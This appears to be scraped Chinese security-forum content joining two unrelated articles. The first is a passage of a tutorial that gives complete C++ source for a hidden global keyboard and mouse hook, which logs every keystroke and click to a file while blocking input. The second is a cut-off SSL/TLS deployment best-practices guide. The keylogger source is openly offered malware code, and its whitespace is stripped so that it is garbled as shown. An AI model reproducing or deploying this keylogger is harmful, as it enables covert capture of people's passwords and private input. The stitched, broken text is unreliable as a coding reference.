if (hFile == INVALID_HANDLE_VALUE) {
MessageBox(NULL, L"open file failed!", L"tip", NULL);
return FALSE;
}
SetFilePointer(hFile, NULL, NULL, FILE_END);
DWORD dwWrited = 0;
WriteFile(hFile, Date_Key, len , &dwWrited, NULL);
CloseHandle(hFile);
return TRUE;
}
### **（6）拦截所有按键消息，按F1键卸载钩子解除拦截**
前面说过，如果安装的钩子要拦截消息，那么钩子的过程函数返回值就的是一个非零的值。
所以我们令钩子的过程函数`return 1`。
然后设置一个按键表示手动卸载钩子，解除拦截。
//表示按键F1即卸载钩子
charexitKey[20] ="WM_KEYUP_[F1]";
if ( !memcmp(exitKey, WM_Key,strlen(exitKey) ) ) {
UnhookWindowsHookEx(hKeyboardHook);//卸载键盘钩子
UnhookWindowsHookEx(hMouseHook);//卸载鼠标钩子
::MessageBox(NULL, L"KeyBoardHook、MouseHook unmounted！", L"Tip", NULL);
exit(0);
}
以上就是键盘钩子过程函数的设定了。
## 4、鼠标钩子过程函数
//安装鼠标钩子
hMouseHook=SetWindowsHookExA(WH_MOUSE_LL, MouseCursorProc, GetModuleHandle(NULL), NULL);
当第一个参数钩子类型设置为`WH_MOUSE_LL`时，第四个参数为`NULL`时，代表设置的钩子为全局键盘钩子。
此时被拦截的消息表示为：鼠标上按键的按下和放开。
**鼠标上的按键可以有很多，但是我们这个钩子只是简单识别鼠标左键、右键的按下和放开即可。**
### **（1）键盘钩子过程函数的参数**
此时鼠标钩子对应的窗口过程函数：[微软官方：LowLevelMouseProc 回调函数](https://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/ms644986\(v=vs.85\))
LRESULTCALLBACKMouseCursorProc(intnCode, WPARAMwParam, LPARAMlParam) {
return1;//代表拦截消息
}
第一个参数nCode一般记录被此钩子拦截的消息的次数。重点在于后面两个参数
第二个参数代表windows消息包含鼠标按键和鼠标移动：`WM_LBUTTONDOWN`、`WM_LBUTTONUP`和`WM_RBUTTONDOWN`、`WM_RBUTTONUP`，我们着重这四个消息，分别代表鼠标左键的按下、放开和右键的按下、放开。（因为我们不拦截鼠标移动消息，只拦截鼠标左右按键按下的消息。）
第三个参数指向[ **MSLLHOOKSTRUCT**](https://msdn.microsoft.com/en-us/library/ms644970\(v=vs.85\))结构的指针，结构体指针。
### **（2）MSLLHOOKSTRUCT结构体**
typedefstructtagMSLLHOOKSTRUCT {
POINThttps://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/ms644985(v=vs.85);//POINT结构体，pt->x、pt->y记录鼠标的x、y坐标
DWORDmouseData;
DWORDflags;
DWORDtime;
ULONG_PTRdwExtraInfo;
} MSLLHOOKSTRUCT, *LPMSLLHOOKSTRUCT, *PMSLLHOOKSTRUCT;
鼠标钩子这里我们只需要明白这个结构体的第一个成员`pt`，指向一个[POINT](https://docs.microsoft.com/en-us/previous-versions/dd162805\(v=vs.85\))结构。
用于记录鼠标发出点击事件时的坐标。
### **（3）识别鼠标按键消息**
//同样是记录消息产生时间
SYSTEMTIME time;
GetLocalTime(&time);
char Date_Key[200] = { 0 };
sprintf(Date_Key, "%d-%02d-%02d %02d:%02d:%02d\t", time.wYear, time.wMonth, time.wDay, time.wHour, time.wMinute, time.wSecond);
switch (wParam)
{
case WM_LBUTTONDOWN:
strcat(Date_Key, "WM_L_BUTTON_DOWN");
break;
case WM_LBUTTONUP:
strcat(Date_Key, "WM_L_BUTTON_UP");
break;
case WM_RBUTTONDOWN:
strcat(Date_Key, "WM_R_BUTTON_DOWN");
break;
case WM_RBUTTONUP:
strcat(Date_Key, "WM_R_BUTTON_UP");
break;
default:
return 0;
}
这里`default: return
0;`表示，如果鼠标钩子钩取的鼠标消息，不是我们预定的四个鼠标按键消息，即是鼠标移动的消息，那么就将钩子过程函数`return
0;`，代表将这个鼠标移动的消息正常传递给窗口过程函数，即不拦截。
### **（4）拦截鼠标按键消息，记录到文件**
intlen=strlen(Date_Key);
sprintf(Date_Key+len, " pX=%d,pY=%d\n", p->pt.x, p->pt.y);
len=strlen(Date_Key);
//将消息记录写入文件
if (!WriteMessageToFile(Date_Key, len)) {
exit(0);
}
return1;
这里是钩子过程函数结尾，所以直接`return 1;`代表钩子拦截消息。
以上就是钩子函数的过程函数设定了。
## 5、总结
根据前面设定键盘钩子、鼠标钩子，我们可以发现相似点。
不管是键盘钩子的过程函数：[微软官方：LowLevelKeyboardProc 回调函数](https://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/ms644985\(v=vs.85\))，
还是鼠标钩子的过程函数：[微软官方：LowLevelMouseProc 回调函数](https://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/ms644986\(v=vs.85\))
**其实函数类型都是一样的，只是参数的用法不同而已。包括第二个参数wParam都是代表windows消息类型，第三个参数指向的结构体，虽然定义不同，但可以发现，本质是一样的，也就是可以说他们就是一样的结构体，只是当我们设定不同类型钩子的时候，这个结构体成员代表的意义也不同。**
**我们再回头去看**[微软官方文档：SetWindowsHookEx](https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setwindowshookexa)，可以发现，说这个API第二个参数是函数指针，类型为 **HOOKPROC** 。
那么就再去查一下 **HOOKPROC** ，果然：[微软官方文档：HOOKPROC
回调函数](https://docs.microsoft.com/en-us/windows/win32/api/winuser/nc-winuser-hookproc)，告诉我们，这个函数的第三个参数是指向[CWPRETSTRUCT](https://docs.microsoft.com/en-us/windows/desktop/api/winuser/ns-winuser-cwpretstruct)结构的指针。
就发现，键盘钩子指向的[ **KBDLLHOOKSTRUCT**](https://msdn.microsoft.com/en-us/library/ms644967\(v=vs.85\))结构和鼠标钩子指向的[
**MSLLHOOKSTRUCT**](https://msdn.microsoft.com/en-us/library/ms644970\(v=vs.85\))结构本质上都是[CWPRETSTRUCT](https://docs.microsoft.com/en-us/windows/desktop/api/winuser/ns-winuser-cwpretstruct)结构。
## 6、演示效果
执行效果，因为不显示控制台窗口，所以执行后没有任何显示，但是此时键盘、鼠标按键已经被拦截失效，直到按`F1`键同时卸载鼠标、键盘钩子，恢复正常，拦截的消息记录在exe同文件下生成的record.txt文件。
1. 拦截全局键盘，识别大小写和特殊字符，（不响应键盘所有按键）。
2. 鼠标点击消息，识别左右按键，不拦截鼠标移动消息，（鼠标可以正常移动，无法响应点击）。
3. 将按键消息和鼠标点击消息记录在文件里。
4. 直到按下`F1`键时，卸载全局键盘、鼠标钩子，所有恢复正常。
按下`F1`后，会弹出MessageBox提示已经卸载钩子。
**然后打开record.txt文件，记录鼠标键盘按键消息。**
## 7、所有源码
因为写在主程序里，所以就一个cpp文件。
//环境：Win10
//编译：VS2019，创建简单的C++空项目。
#define _CRT_SECURE_NO_DEPRECATE//屏蔽VS的一些安全警告。。。
//预编译，让控制台窗口程序，不显示控制台窗口，直接后台运行。。。
#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#include<Windows.h>
#include <stdio.h>
#include <iostream>
//全局键盘Hook句柄
HHOOKhKeyboardHook;
//全局鼠标hook句柄
HHOOKhMouseHook;
//安装钩子hook的函数
BOOLHookKeyBoardProc();
//记录Shift消息
BOOLbShift=FALSE;
//表示按键F1即卸载钩子
charexitKey[20] ="WM_KEYUP_[F1]";
//键盘钩子过程函数
LRESULTCALLBACKKeyBoardProc(intnCode, WPARAMwParam, LPARAMlParam);
//鼠标钩子键盘函数
LRESULTCALLBACKMouseCursorProc(intnCode, WPARAMwParam, LPARAMlParam);
//根据钩子过程函数的参数消息，返回按键的字符（大小写、特殊字符）
//参数1：按键虚拟码,即键盘上每个按键对应一个虚拟码，不区分大小写，微软官方文档：https://docs.microsoft.com/zh-cn/windows/win32/inputdev/virtual-key-codes
//参数2：是否按下大写按键，TRUE代表按下
//参数3：是否按住shift按键，TRUE代表正按住
//参数4：函数返回的按键字符，存储在Out指针指向的内存。
//返回值：无
voidHookCode(DWORDcode, BOOLcaps, BOOLshift ,char*Out);
//将记录的键盘、鼠标信息写入文件
BOOLWriteMessageToFile(char*Date_Key, intlen);
//int KeyN = 0;
intmain() {
HookKeyBoardProc();
return0;
}
/********************************************************
函数作用：设置键盘钩子
返回值：是否hook成功
*********************************************************/
BOOLHookKeyBoardProc() {
hKeyboardHook=SetWindowsHookExA(WH_KEYBOARD_LL, KeyBoardProc, GetModuleHandle(NULL),NULL );
hMouseHook=SetWindowsHookExA(WH_MOUSE_LL, MouseCursorProc, GetModuleHandle(NULL), NULL);
//hMouseHook = (HHOOK)1;
if (!(hKeyboardHook&&hMouseHook )) {
//printf("Failed to SetWindowsHookEx!\n");
//MessageBox(NULL, L"SetWindowsHookEx Failed!", L"Tip", NULL);
returnFALSE;
}
else {
//printf("Start to SetWindowsHookEx!\n");
//MessageBox(NULL, L"SetWindowsHookEx Success!", L"Tip", NULL);
MSGMsg{};
while (GetMessage(&Msg, NULL, 0, 0) >0) {
TranslateMessage(&Msg);
DispatchMessage(&Msg);
}
//Sleep(5000);
}
returnTRUE;
}
/********************************************************
函数作用：将字符消息写入对应文件。
返回值：是否写入成功acq
*********************************************************/
BOOLWriteMessageToFile(char*Date_Key, intlen) {
HANDLEhFile=CreateFileA(
"./record.txt",
GENERIC_WRITE|GENERIC_READ,
0,
NULL,
OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hFile==INVALID_HANDLE_VALUE) {
MessageBox(NULL, L"open file failed!", L"tip", NULL);
returnFALSE;
}
SetFilePointer(hFile, NULL, NULL, FILE_END);
DWORDdwWrited=0;
WriteFile(hFile, Date_Key, len , &dwWrited, NULL);
CloseHandle(hFile);
returnTRUE;
}
/********************************************************
函数作用：鼠标钩子回调
返回值：是否hook成功acq
*********************************************************/
LRESULTCALLBACKMouseCursorProc(intnCode, WPARAMwParam, LPARAMlParam) {
PMSLLHOOKSTRUCTp= (PMSLLHOOKSTRUCT)lParam;
SYSTEMTIMEtime;
GetLocalTime(&time);
charDate_Key[200] = { 0 };
sprintf(Date_Key, "%d-%02d-%02d %02d:%02d:%02d\t", time.wYear, time.wMonth, time.wDay, time.wHour, time.wMinute, time.wSecond);
switch (wParam)
{
caseWM_LBUTTONDOWN:
strcat(Date_Key, "WM_L_BUTTON_DOWN");
break;
caseWM_LBUTTONUP:
strcat(Date_Key, "WM_L_BUTTON_UP");
break;
caseWM_RBUTTONDOWN:
strcat(Date_Key, "WM_R_BUTTON_DOWN");
break;
caseWM_RBUTTONUP:
strcat(Date_Key, "WM_R_BUTTON_UP");
break;
default:
return0;
}
intlen=strlen(Date_Key);
sprintf(Date_Key+len, " pX=%d,pY=%d\n", p->pt.x, p->pt.y);
len=strlen(Date_Key);
//将消息记录写入文件
if (!WriteMessageToFile(Date_Key, len)) {
exit(0);
}
return1;
}
/********************************************************
函数作用：键盘钩子回调
返回值：是否hook成功acq
*********************************************************/
LRESULTCALLBACKKeyBoardProc(intnCode, WPARAMwParam, LPARAMlParam) {
PKBDLLHOOKSTRUCTp= (PKBDLLHOOKSTRUCT)lParam;
BOOLcaps=FALSE; // 默认大写关闭
SHORTcapsShort=GetKeyState(VK_CAPITAL);
charszKey[20] = { 0 };
GetKeyNameTextA(lParam, szKey, 100);
if (capsShort>0)
{
// 如果大于0，则大写键按下，说明开启大写；反之小写
caps=TRUE;
}
if (p->vkCode==VK_LSHIFT||p->vkCode==VK_RSHIFT)
{
if (wParam==WM_KEYDOWN)
{
bShift=TRUE;
}
elseif (wParam==WM_KEYUP)
{
bShift=FALSE;
}
else
{
bShift=FALSE;
}
}
if (p->vkCode )
{
charWM_Key[40] = {0};
charDate_Key[200] = { 0 };
SYSTEMTIMEtime;
GetLocalTime(&time);
sprintf(Date_Key, "%d-%02d-%02d %02d:%02d:%02d\t", time.wYear, time.wMonth, time.wDay, time.wHour, time.wMinute, time.wSecond);
intlen=strlen(Date_Key);
if (wParam==WM_KEYDOWN)
{
sprintf(WM_Key, "%s", "WM_KEYDOWN_");
}
else {
sprintf(WM_Key, "%s", "WM_KEYUP_");
}
HookCode(p->vkCode , caps, bShift, WM_Key);
strcpy(Date_Key+strlen(Date_Key), WM_Key);
len=strlen(Date_Key);
Date_Key[len] ='\n';
Date_Key[len+1] =0;
//将消息记录写入文件
if (!WriteMessageToFile(Date_Key, len+1)) {
exit(0);
}
if ( !memcmp(exitKey, WM_Key,strlen(exitKey) ) ) {
UnhookWindowsHookEx(hKeyboardHook);
UnhookWindowsHookEx(hMouseHook);
::MessageBox(NULL, L"KeyBoardHook、MouseHook unmounted！", L"Tip", NULL);
exit(0);
}
}
return1;
}
//HookCode函数算法学习自文章末尾给的参考文章。
/********************************************************
//根据钩子过程函数的参数消息，返回按键的字符（大小写、特殊字符）
//参数1：按键虚拟码,即键盘上每个按键对应一个虚拟码，不区分大小写，微软官方文档：https://docs.microsoft.com/zh-cn/windows/win32/inputdev/virtual-key-codes
//参数2：是否按下大写按键，TRUE代表按下
//参数3：是否按住shift按键，TRUE代表正按住
//参数4：函数返回的按键字符，存储在Out指针指向的内存。
//返回值：无
*********************************************************/
voidHookCode(DWORDcode, BOOLcaps, BOOLshift, char*Out)
{
std::stringkey;
switch (code) // SWITCH ON INT
{
// Char keys for ASCI
// No VM Def in header
case0x41: key=caps? (shift?"a" : "A") : (shift?"A" : "a"); break;
case0x42: key=caps? (shift?"b" : "B") : (shift?"B" : "b"); break;
case0x43: key=caps? (shift?"c" : "C") : (shift?"C" : "c"); break;
case0x44: key=caps? (shift?"d" : "D") : (shift?"D" : "d"); break;
case0x45: key=caps? (shift?"e" : "E") : (shift?"E" : "e"); break;
case0x46: key=caps? (shift?"f" : "F") : (shift?"F" : "f"); break;
case0x47: key=caps? (shift?"g" : "G") : (shift?"G" : "g"); break;
case0x48: key=caps? (shift?"h" : "H") : (shift?"H" : "h"); break;
case0x49: key=caps? (shift?"i" : "I") : (shift?"I" : "i"); break;
case0x4A: key=caps? (shift?"j" : "J") : (shift?"J" : "j"); break;
case0x4B: key=caps? (shift?"k" : "K") : (shift?"K" : "k"); break;
case0x4C: key=caps? (shift?"l" : "L") : (shift?"L" : "l"); break;
case0x4D: key=caps? (shift?"m" : "M") : (shift?"M" : "m"); break;
case0x4E: key=caps? (shift?"n" : "N") : (shift?"N" : "n"); break;
case0x4F: key=caps? (shift?"o" : "O") : (shift?"O" : "o"); break;
case0x50: key=caps? (shift?"p" : "P") : (shift?"P" : "p"); break;
case0x51: key=caps? (shift?"q" : "Q") : (shift?"Q" : "q"); break;
case0x52: key=caps? (shift?"r" : "R") : (shift?"R" : "r"); break;
case0x53: key=caps? (shift?"s" : "S") : (shift?"S" : "s"); break;
case0x54: key=caps? (shift?"t" : "T") : (shift?"T" : "t"); break;
case0x55: key=caps? (shift?"u" : "U") : (shift?"U" : "u"); break;
case0x56: key=caps? (shift?"v" : "V") : (shift?"V" : "v"); break;
case0x57: key=caps? (shift?"w" : "W") : (shift?"W" : "w"); break;
case0x58: key=caps? (shift?"x" : "X") : (shift?"X" : "x"); break;
case0x59: key=caps? (shift?"y" : "Y") : (shift?"Y" : "y"); break;
case0x5A: key=caps? (shift?"z" : "Z") : (shift?"Z" : "z"); break;
// Sleep Key
caseVK_SLEEP: key="[SLEEP]"; break;
// Num Keyboard
caseVK_NUMPAD0: key="0"; break;
caseVK_NUMPAD1: key="1"; break;
caseVK_NUMPAD2: key="2"; break;
caseVK_NUMPAD3: key="3"; break;
caseVK_NUMPAD4: key="4"; break;
caseVK_NUMPAD5: key="5"; break;
caseVK_NUMPAD6: key="6"; break;
caseVK_NUMPAD7: key="7"; break;
caseVK_NUMPAD8: key="8"; break;
caseVK_NUMPAD9: key="9"; break;
caseVK_MULTIPLY: key="*"; break;
caseVK_ADD: key="+"; break;
caseVK_SEPARATOR: key="-"; break;
caseVK_SUBTRACT: key="-"; break;
caseVK_DECIMAL: key="."; break;
caseVK_DIVIDE: key="/"; break;
// Function Keys
caseVK_F1: key="[F1]"; break;
caseVK_F2: key="[F2]"; break;
caseVK_F3: key="[F3]"; break;
caseVK_F4: key="[F4]"; break;
caseVK_F5: key="[F5]"; break;
caseVK_F6: key="[F6]"; break;
caseVK_F7: key="[F7]"; break;
caseVK_F8: key="[F8]"; break;
caseVK_F9: key="[F9]"; break;
caseVK_F10: key="[F10]"; break;
caseVK_F11: key="[F11]"; break;
caseVK_F12: key="[F12]"; break;
caseVK_F13: key="[F13]"; break;
caseVK_F14: key="[F14]"; break;
caseVK_F15: key="[F15]"; break;
caseVK_F16: key="[F16]"; break;
caseVK_F17: key="[F17]"; break;
caseVK_F18: key="[F18]"; break;
caseVK_F19: key="[F19]"; break;
caseVK_F20: key="[F20]"; break;
caseVK_F21: key="[F22]"; break;
caseVK_F22: key="[F23]"; break;
caseVK_F23: key="[F24]"; break;
caseVK_F24: key="[F25]"; break;
// Keys
caseVK_NUMLOCK: key="[NUM-LOCK]"; break;
caseVK_SCROLL: key="[SCROLL-LOCK]"; break;
caseVK_BACK: key="[BACK]"; break;
caseVK_TAB: key="[TAB]"; break;
caseVK_CLEAR: key="[CLEAR]"; break;
caseVK_RETURN: key="[ENTER]"; break;
caseVK_SHIFT: key="[SHIFT]"; break;
caseVK_CONTROL: key="[CTRL]"; break;
caseVK_MENU: key="[ALT]"; break;
caseVK_PAUSE: key="[PAUSE]"; break;
caseVK_CAPITAL: key="[CAP-LOCK]"; break;
caseVK_ESCAPE: key="[ESC]"; break;
caseVK_SPACE: key="[SPACE]"; break;
caseVK_PRIOR: key="[PAGEUP]"; break;
caseVK_NEXT: key="[PAGEDOWN]"; break;
caseVK_END: key="[END]"; break;
caseVK_HOME: key="[HOME]"; break;
caseVK_LEFT: key="[LEFT]"; break;
caseVK_UP: key="[UP]"; break;
caseVK_RIGHT: key="[RIGHT]"; break;
caseVK_DOWN: key="[DOWN]"; break;
caseVK_SELECT: key="[SELECT]"; break;
caseVK_PRINT: key="[PRINT]"; break;
caseVK_SNAPSHOT: key="[PRTSCRN]"; break;
caseVK_INSERT: key="[INS]"; break;
caseVK_DELETE: key="[DEL]"; break;
caseVK_HELP: key="[HELP]"; break;
// Number Keys with shift
case0x30: key=shift?"!" : "1"; break;
case0x31: key=shift?"@" : "2"; break;
case0x32: key=shift?"#" : "3"; break;
case0x33: key=shift?"$" : "4"; break;
case0x34: key=shift?"%" : "5"; break;
case0x35: key=shift?"^" : "6"; break;
case0x36: key=shift?"&" : "7"; break;
case0x37: key=shift?"*" : "8"; break;
case0x38: key=shift?"(" : "9"; break;
case0x39: key=shift?")" : "0"; break;
// Windows Keys
caseVK_LWIN: key="[WIN]"; break;
caseVK_RWIN: key="[WIN]"; break;
caseVK_LSHIFT: key="[SHIFT]"; break;
caseVK_RSHIFT: key="[SHIFT]"; break;
caseVK_LCONTROL: key="[CTRL]"; break;
caseVK_RCONTROL: key="[CTRL]"; break;
// OEM Keys with shift
caseVK_OEM_1: key=shift?":" : ";"; break;
caseVK_OEM_PLUS: key=shift?"+" : "="; break;
caseVK_OEM_COMMA: key=shift?"<" : ","; break;
caseVK_OEM_MINUS: key=shift?"_" : "-"; break;
caseVK_OEM_PERIOD: key=shift?">" : "."; break;
caseVK_OEM_2: key=shift?"?" : "/"; break;
caseVK_OEM_3: key=shift?"~" : "`"; break;
caseVK_OEM_4: key=shift?"{" : "["; break;
caseVK_OEM_5: key=shift?"\\" : "|"; break;
caseVK_OEM_6: key=shift?"}" : "]"; break;
caseVK_OEM_7: key=shift?"'" : "'"; break; //TODO: Escape this char: "
// Action Keys
caseVK_PLAY: key="[PLAY]";
caseVK_ZOOM: key="[ZOOM]";
caseVK_OEM_CLEAR: key="[CLEAR]";
caseVK_CANCEL: key="[CTRL-C]";
default: key="[UNK-KEY]";
break;
}
key.copy(Out+strlen(Out), key.length(), 0);
return ;
}
## 7、参考文章
[看雪：hook学习：使用SetWindowsHookEx实现一个简单的键盘记录器
](https://b0bs.pediy.com/thread-269260.htm)
**以及查阅微**[软官方文档：SetWindowsHookExA](https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setwindowshookexa) | 社区文章 |
> Author:HENRY.CHEN
> <https://blog.myssl.com/ssl-and-tls-deployment-best-practices/>
SSL/TLS 是一种简单易懂的技术，它很容易部署及运行。但想要部署的安全通常是不容易的。这也使系统管理员和开发者不得不去了解 SSL 和 TLS
相关的技术，掌握如何配置一个安全的 web 服务器或应用。无疑会耗费很大的精力去看相关的技术文档，乏味且宽泛。
本篇文档的目的在于如何让系统管理员或开发者用尽可能少的时间部署一个安全的 web 站点或应用，即 SSL 和 TLS 部署最佳实践。
### 1 证书和私钥
在TLS中，所有的安全性都从服务器的密码标识开始；需要一个强大的私钥来防止攻击者进行模拟攻击。同样重要的是要有一个有效的和强大的证书，这将授予私有密匙作为一个特定主机名的权利。没有这两个基本的构建块，就没有其他东西可以安全了。
#### 1.1 使用 2048 位私钥
对于大多数的 web 站点，提供一个 2048 的 RSA key 是足够安全的。RSA 的公钥算法是被普遍支持的，这使得这个类型的 key
作为默认是足够安全的。对于 2048 位，这些 key 提供了大约 112 位的安全性。如果您想要比这更多的安全性，请注意 RSA key
的伸缩性不太好。想要获得 128 位的安全性，你需要 3072 位 RSA key，这会很大的影响性能。ECDSA key
提供了一种提供更好安全性和更好性能的替代方法。对于 256 位，ECDSA key 提供 128 位安全性。少数古董客户端不支持
ECDSA，但现代客户端是支持的。如果您不介意管理这样一个设置的开销，那么您可以同时部署 RSA 和 ECDSA 密钥。
#### 1.2 保护你的私钥
把你的私钥视为一项重要的资产，尽可能最大的使用你的私钥，限制最小的员工的访问。建议的政策包括以下内容:
* 在可信计算机上用足够的熵生成私有密钥。一些 CA 为您提供生成私钥的功能，请尽量不要这样做。
* 密码保护 key 最初就不要存储在备份系统中。私钥密码在生产环境中起不了什么作用，因为有知识的攻击者总是能够从进程内存中检索密钥。有硬件设备(被称为硬件安全模块，或 HSMs)，即使在服务器折衷的情况下，也可以保护私有密匙，但是它们是昂贵的，因此仅适用于具有严格安全性需求的组织。
* 妥协后，撤销旧证书并生成新密钥。
* 每年更新证书，如果您可以自动化过程，则更频繁。大多数网站都应该假定不可靠的妥协证书被撤销; 因此，具有较短使用寿命的证书在实践中更加安全。
* 除非保持相同的密钥对于公钥密钥很重要，否则每当获得新证书时，还应该生成新的私钥。
#### 1.3 覆盖您的域名
确保您的证书涵盖您希望与网站一起使用的所有名称。您的目标是避免无效的证书警告，这会混淆用户，削弱他们的信心。
即使您期望只使用一个域名，请记住，您无法控制用户到达该网站的方式或其他人如何链接到该网站。在大多数情况下，您应该确保该证书与 www
前缀有关（例如，它适用于 example.com 和
www.example.com ）。经验法则是，安全的 Web 服务器应该具有对配置为指向它的每个 DNS 名称有效的证书。
通配符证书能满足更广泛的需求，但如果准备将密钥暴露给更多的人员，特别是跨团队或部门，则避免使用它们。换句话说，访问私钥的人越少越好。还要注意，证书共享会创建一个可以被滥用的将漏洞从一个网站或服务器传输到使用相同证书的所有其他站点和服务器（即使底层私钥不同，只要证书域名匹配）的绑定。
#### 1.5 从可信 CA 获取证书
选择对其证书业务和安全性可靠和认真的认证中心（CA）。选择 CA 时，请考虑以下条件：
**安全状态** 所有CA都经过定期审核，但有些则比其他 CA
更为严重。弄清哪些在这方面做的更好并不容易，但一个选择是检查他们的安全历史，更重要的是，他们如何反应妥协，如果他们从错误中学到了经验，这将更有利。
**业务重点** CA
的活动构成其业务的重要组成部分，如果事情发生严重错误，其所有事情都将丢失，并且在其他地方追逐潜在的更有利可图的机会可能不会忽视其证书部门。
**提供的服务** 至少，您选择的 CA
应提供对证书吊销列表（CRL）和在线证书状态协议（OCSP）撤销方法的支持，具有稳定的网络可用性和性能。许多网站对域验证的证书感到满意，但您也应该考虑是否需要扩展验证（EV）证书。在任一种情况下，您都应该选择公钥算法。大多数网站今天使用
RSA，但由于其性能优势，ECDSA 在未来可能会变得重要。
**证书管理** 选项如果您需要大量证书并在复杂环境中运行，请选择一个 CA，为您提供良好的管理工具。
支持选择一个 CA，如果需要的话可以给您很好的支持。
> 注意
> 为了获得最佳效果，请提前获得证书，并在部署到生产之前至少一周。这种做法（1）有助于避免在计算机上没有正确时间的一些用户的证书警告;（2）有助于避免与
> CA 需要额外时间的 CA 失败的撤销检查，以向 OCSP 响应者传播有效的新证书。随着时间的推移，尝试将这个“热身”期延长至 1-3
> 个月。同样，不要等到你的证书即将到期以替换它们。留下额外的几个月也会帮助时钟不正确的人在另一个方向。
#### 1.6 使用强签名算法
证书安全性取决于（1）用于签署证书的私钥的强度，（2）签名中使用的散列函数的强度。直到最近，大多数证书都依赖于 SHA1
散列函数，现在被认为是不安全的。因此，我们正在向 SHA256 转型。截至 2016
年 1 月，您无法从公共 CA 获取 SHA1 证书。现有的 SHA1 证书将继续工作（在某些浏览器中有警告），但只能到 2016 年底。
### 2 配置
使用正确的 TLS 服务器配置，您可以确保将凭据正确呈现给站点的访问者，仅使用安全的加密原语，并减轻所有已知的缺陷。
#### 2.1 使用完整的证书链
在大多数部署中，仅服务器证书不够的;
需要两个或多个证书来建立完整的信任链。当部署具有有效证书但没有所有必要的中间证书的服务器时，会发生常见的配置问题。为避免这种情况，只需使用 CA
提供给您的所有证书。
无效的证书链有效地使服务器证书无效并导致浏览器警告。实际上，这个问题有时难以诊断，因为一些浏览器可以重构不完整的链，有些浏览器不能重建。所有浏览器都倾向于缓存和重用中间证书。
#### 2.2 使用安全的协议
SSL／TLS 系列中有五种协议：SSL v2，SSL v3，TLS v1.0，TLS v1.1和TLS v1.2：
* SSL v2 是不安全的，不能使用。此协议版本非常糟糕，即使它们位于完全不同的服务器（DROWN 攻击）上也可以用来攻击具有相同名称的RSA 密钥和站点。
* 当与 HTTP（POODLE 攻击）一起使用时，SSL v3 是不安全的，当与其他协议一起使用时，SSL v3 是弱的。它也是过时的，不应该被使用。
* TLS v1.0 也是不应该使用的传统协议，但在实践中通常仍然是必需的。其主要弱点（BEAST）在现代浏览器中得到缓解，但其他问题仍然存在。
* TLS v1.1 和 v1.2 都没有已知的安全问题，只有 v1.2 提供了现代的加密算法。
TLS v1.2 应该是您的主要协议，因为它是唯一提供现代认证加密（也称为 AEAD）的版本。如果您今天不支持 TLS v1.2，则缺乏安全性。
为了支持较旧的客户端，您可能需要继续支持 TLS v1.0 和TLS v1.1。但是，您应该计划在不久的将来退出 TLS v1.0。例如，PCI DSS
标准将要求所有接受信用卡付款的网站在 2018 年 6 月之前移除对 TLS v1.0 的支持。
目前正在开展设计 TLS v1.3 的工作，其目的是消除所有过时和不安全的功能，并进行改进，以保持我们的通信在未来几十年内的安全。
#### 2.3 使用安全的套件
为了安全通信，您必须首先确定您正在与所需方（而不是通过将窃听的其他人）直接沟通并安全地交换数据。在 SSL 和 TLS
中，密码套件定义了如何进行安全通信。它们由不同的建筑组成，通过多样性实现安全。如果发现其中一个构建块软弱或不安全，那么您应该可以切换到另一个。
您应该主要依靠提供强身份验证和密钥交换，前向保密和至少 128 位加密的 AEAD
套件。还有一些其他较弱的套房可能仍然得到支持，只要它们只能与不支持任何更好的老客户进行协商。
有几个过时的加密原语必须避免：
* 匿名 Diffie-Hellman（ADH）套件不提供身份验证。
* NULL 密码套件不提供加密。
* 导出密码套件在连接中协商时不安全，但也可以针对更喜欢更强大的套件（FREAK攻击）的服务器使用。
* 弱密码（通常为 40 和 56 位）的套件使用可以轻松破坏的加密。
* RC4 是不安全的。
* 3DES 缓慢而虚弱。
使用以RSA和ECDSA键为基础的以下套件配置，作为起点：
TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256
TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384
TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256
TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384
TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256
TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384
TLS_DHE_RSA_WITH_AES_128_GCM_SHA256
TLS_DHE_RSA_WITH_AES_256_GCM_SHA384
TLS_DHE_RSA_WITH_AES_128_CBC_SHA
TLS_DHE_RSA_WITH_AES_256_CBC_SHA
TLS_DHE_RSA_WITH_AES_128_CBC_SHA256
TLS_DHE_RSA_WITH_AES_256_CBC_SHA256
> 警告
>
> 我们建议您始终首先在分段环境中测试TLS配置，仅在确定所有内容按预期工作时将更改应用到生产环境。请注意，以上是一个通用列表，并不是所有系统（特别是较旧的）支持所有套件。这就是为什么测试很重要，推荐您使用《[SSL/TLS安全评估](https://myssl.com/)》进行检查。
上述示例配置使用标准 TLS 套件名称。一些平台使用非标准名称; 有关详细信息，请参阅您的平台的文档。例如，以下套件名称将与OpenSSL 一起使用：
ECDHE-ECDSA-AES128-GCM-SHA256
ECDHE-ECDSA-AES256-GCM-SHA384
ECDHE-ECDSA-AES128-SHA
ECDHE-ECDSA-AES256-SHA
ECDHE-ECDSA-AES128-SHA256
ECDHE-ECDSA-AES256-SHA384
ECDHE-RSA-AES128-GCM-SHA256
ECDHE-RSA-AES256-GCM-SHA384
ECDHE-RSA-AES128-SHA
ECDHE-RSA-AES256-SHA
ECDHE-RSA-AES128-SHA256
ECDHE-RSA-AES256-SHA384
DHE-RSA-AES128-GCM-SHA256
DHE-RSA-AES256-GCM-SHA384
DHE-RSA-AES128-SHA
DHE-RSA-AES256-SHA
DHE-RSA-AES128-SHA256
DHE-RSA-AES256-SHA256
#### 2.4 选择合适的协议
在SSL
